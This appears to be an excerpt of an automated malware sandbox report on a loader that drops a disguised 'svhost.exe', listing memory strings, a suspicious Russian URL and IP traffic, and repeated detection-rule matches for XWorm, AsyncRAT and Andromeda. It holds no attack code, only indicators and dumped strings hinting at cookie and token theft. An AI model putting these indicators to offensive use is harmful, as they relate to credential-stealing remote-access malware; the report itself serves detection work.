Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000029A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D0C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/etext/ht
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D0C000.00000004.00001000.00020000.00000000.sdmp, I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000029A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.0000000001D0C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/htm
Source: I1y524I4zau1n3u.exe, 0000000C.00000002.2135765900.00000000029A8000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://sa1at.ru/sa1at/https://sa1at.ru/sa1at/text/html;

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49702 version: TLS 1.2

Source: KoaguarLoader.exe, 00000002.00000002.939032080.0000000000E81000.00000040.00000001.01000000.00000005.sdmp

Binary or memory string: stopm spinning nmidlelocked= needspinning=randinit twicestore64 failedmemprofileratesemaRoot queuebad allocCountbad span statestack overflow untyped args out of range no module dataruntime: seq1=runtime: goid= in goroutine unsafe.Pointerreflect.Value.RCodeNameErrorResourceHeaderunreachable: Accept-CharsetDkim-Signatureneed more dataREQUEST_METHODInstEmptyWidthmax-age=604800NO_VIABLE_PATHpacing limitedsqlite3_errstrsqlite3_errmsggo_commit_hookgo_update_hookgo_vtab_creatego_vtab_updatego_vtab_renamego_vtab_commitunixepoch_fracunixepoch_nano15:04:05Z07:00mime/multipartmutable-globalgo_sector_sizego_shm_barrierf32.demote_f64i32.extend16_si64.extend16_si64.extend32_sv128.load8x8_sv128.load8x8_uv128.bitselecti8x16.all_truei16x8.all_truei32x4.all_truei64x2.all_trueread block: %wfunc[%s.%s] %winvalid %s: %wunknown memoryalready closedI32WrapFromI64read value: %vsection %s: %vglobal[%d]: %wProcess32FirstWDispatchMessageSetWinEventHookHarmonyOutdatedchunk confirmedunzipping file winsta0\defaultgot dExec code:found tg:// urlActive window: Build Version: Browsers\Token_Network\Cookieszipinsecurepathrecord overflowbad certificatePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512ClientAuthType(client finishedserver finishedunknown versionmissing address/etc/mdns.allowunknown networknegative updateaccept-encodingaccept-languagex-forwarded-forAccept-Encodingrecv_rststream_Idempotency-KeyPartial ContentRequest TimeoutLength RequiredNot ImplementedGateway Timeoutunexpected typebad trailer keywrite error: %wGetProcessTimesDuplicateHandlenegative offsetGetMonitorInfoW476837158203125advertise errorkey has expirednetwork is downno medium foundno such processGetAdaptersInfoCreateHardLinkWDeviceIoControlFlushViewOfFileGetCommandLineWGetStartupInfoWUnmapViewOfFileFailed to load Failed to find : cannot parse ,M3.2.0,M11.1.0general failuredata before FINbad close code ExcludeClipRectGetEnhMetaFileWGetTextMetricsWPlayEnhMetaFileGdiplusShutdownGetThreadLocaleOleUninitializewglGetCurrentDCDragAcceptFilesCallWindowProcWCreatePopupMenuCreateWindowExWDialogBoxParamWGetActiveWindowGetDpiForWindowGetRawInputDataInsertMenuItemWIsWindowEnabledIsWindowVisiblePostQuitMessageSetActiveWindowTrackMouseEventWindowFromPointDrawThemeTextExGetSecurityInfoImpersonateSelfOpenThreadTokenSetSecurityInfoAddDllDirectoryFindNextVolumeWFindVolumeCloseGetCommTimeoutsIsWow64Process2QueryDosDeviceWSetCommTimeoutsSetVolumeLabelWRtlDefaultNpAclCLSIDFromStringStringFromGUID2IsWindowUnicodetimeBeginPeriodNTSTATUS 0x%08xRegCreateKeyExWRegDeleteValueWx509usepoliciesNetworkSettingsRestartIntervalEvery other dayConsole Connectnothing to packIgnoring Retry.invalid boolean0601021504Z0700non-minimal tagunknown Go typeHanifi_RohingyaPsalter_Pahlavireflectlite.Set is unavailableallocmRInternalwrite heap dumpasyncpreemptoffforce gc (idle)sync.Mutex.Lockmalloc deadlockruntime error: elem size wrong with GC prog

memstr_d0a56185-1

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\AppData\Local\Temp\svhost.exe

Process information set: 01 00 00 00

Source: KoaguarLoader.exe, type: SAMPLE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: KoaguarLoader.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.svhost.exe.31e05f0.0.unpack, type: UNPACKEDPE	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: 3.2.svhost.exe.31e05f0.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.svhost.exe.31e05f0.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.KoaguarLoader.exe.727e94.2.unpack, type: UNPACKEDPE	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: 0.0.KoaguarLoader.exe.727e94.2.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.0.KoaguarLoader.exe.727e94.2.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 3.0.svhost.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: 3.0.svhost.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 3.0.svhost.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.3.KoaguarLoader.exe.a5f010.0.unpack, type: UNPACKEDPE	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: 0.3.KoaguarLoader.exe.a5f010.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.3.KoaguarLoader.exe.a5f010.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.KoaguarLoader.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.0.KoaguarLoader.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.KoaguarLoader.exe.409294.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.0.KoaguarLoader.exe.409294.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.KoaguarLoader.exe.409294.1.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 0.0.KoaguarLoader.exe.409294.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000003.877294126.0000000000A50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.868675253.0000000000408000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000003.00000000.877223219.0000000000F02000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\svhost.exe, type: DROPPED	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\svhost.exe, type: DROPPED	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Temp\svhost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\svhost.exe, type: DROPPED	Matched rule: Detects a malicious Worm Andromeda / RETADUP Author: Florian Roth
Source: C:\Users\user\AppData\Roaming\svhost.exe, type: DROPPED	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Roaming\svhost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Code function: 3_2_00007FF936A916F9	3_2_00007FF936A916F9
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Code function: 3_2_00007FF936A96C62	3_2_00007FF936A96C62
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Code function: 3_2_00007FF936A92181	3_2_00007FF936A92181
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Code function: 3_2_00007FF936A95EB6	3_2_00007FF936A95EB6
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Code function: 3_2_00007FF936A91EFD	3_2_00007FF936A91EFD
Source: C:\Users\user\AppData\Local\Temp\svhost.exe	Code function: 3_2_00007FF936A9265E	3_2_00007FF936A9265E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF936AB00AD	5_2_00007FF936AB00AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF936AB10FA	5_2_00007FF936AB10FA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF936B830E9	5_2_00007FF936B830E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF936AB00AD	10_2_00007FF936AB00AD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FF936B82E11	10_2_00007FF936B82E11
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FF936AB00AD	13_2_00007FF936AB00AD
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 26_2_00007FF936A916F9	26_2_00007FF936A916F9
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 26_2_00007FF936A91EFD	26_2_00007FF936A91EFD
Source: C:\Users\user\AppData\Roaming\svhost.exe	Code function: 26_2_00007FF936A900AD	26_2_00007FF936A900AD

Source: KoaguarLoader.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Source: KoaguarLoader.exe	Static PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: KoaguarLoader.exe, type: SAMPLE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: KoaguarLoader.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.svhost.exe.31e05f0.0.unpack, type: UNPACKEDPE	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.svhost.exe.31e05f0.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.svhost.exe.31e05f0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, type: UNPACKEDPE	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, type: UNPACKEDPE	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.2.svhost.exe.31e05f0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.KoaguarLoader.exe.727e94.2.unpack, type: UNPACKEDPE	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.0.KoaguarLoader.exe.727e94.2.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.0.KoaguarLoader.exe.727e94.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 3.0.svhost.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 3.0.svhost.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 3.0.svhost.exe.f00000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.3.KoaguarLoader.exe.a5f010.0.unpack, type: UNPACKEDPE	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.3.KoaguarLoader.exe.a5f010.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.3.KoaguarLoader.exe.a5f010.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.KoaguarLoader.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.0.KoaguarLoader.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.KoaguarLoader.exe.409294.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.0.KoaguarLoader.exe.409294.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.KoaguarLoader.exe.409294.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0.0.KoaguarLoader.exe.409294.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000003.877294126.0000000000A50000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.868675253.0000000000408000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.2138122248.00000000031DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000000.877223219.0000000000F02000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\svhost.exe, type: DROPPED	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\Temp\svhost.exe, type: DROPPED	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: C:\Users\user\AppData\Local\Temp\svhost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Roaming\svhost.exe, type: DROPPED	Matched rule: Andromeda_MalBot_Jun_1A date = 2017-06-30, hash4 = 42a02e6cf7c424c12f078fca21805de072842ec52a25ea87bd7d53e7feb536ed, hash3 = 66035cc81e811735beab573013950153749b02703eae58b90430646f6e3e3eb4, hash2 = 73cecc67bb12cf5a837af9fba15b7792a6f1a746b246b34f8ed251c4372f1a98, hash1 = 3c223bbf83ac2f91c79383a53ed15b0c8ffe2caa1bf52b26c17fd72278dc7ef9, author = Florian Roth, description = Detects a malicious Worm Andromeda / RETADUP, reference = http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Roaming\svhost.exe, type: DROPPED	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: C:\Users\user\AppData\Roaming\svhost.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: svhost.exe.0.dr, fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svhost.exe.0.dr, fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: svhost.exe.0.dr, j7CxY8VJCXsgfpfgNGwki0Ktagndhv4AVokBnp0OSdwntgf4x7CcSfyRWLsuXe230GnCbdTRJkgG551k64zmGnt6pb.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.3.KoaguarLoader.exe.a5f010.0.raw.unpack, j7CxY8VJCXsgfpfgNGwki0Ktagndhv4AVokBnp0OSdwntgf4x7CcSfyRWLsuXe230GnCbdTRJkgG551k64zmGnt6pb.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.0.KoaguarLoader.exe.727e94.2.raw.unpack, fi3dLWM85Cwqr1XweZ7s4rYELevHzU9bxVONnO5Gl7HCKWMRLgGxlEA8udoz3pZz0ygKZKnD8W7NViXCNXuJ3kIdDp.cs	Cryptographic APIs: 'TransformFinalBlock'
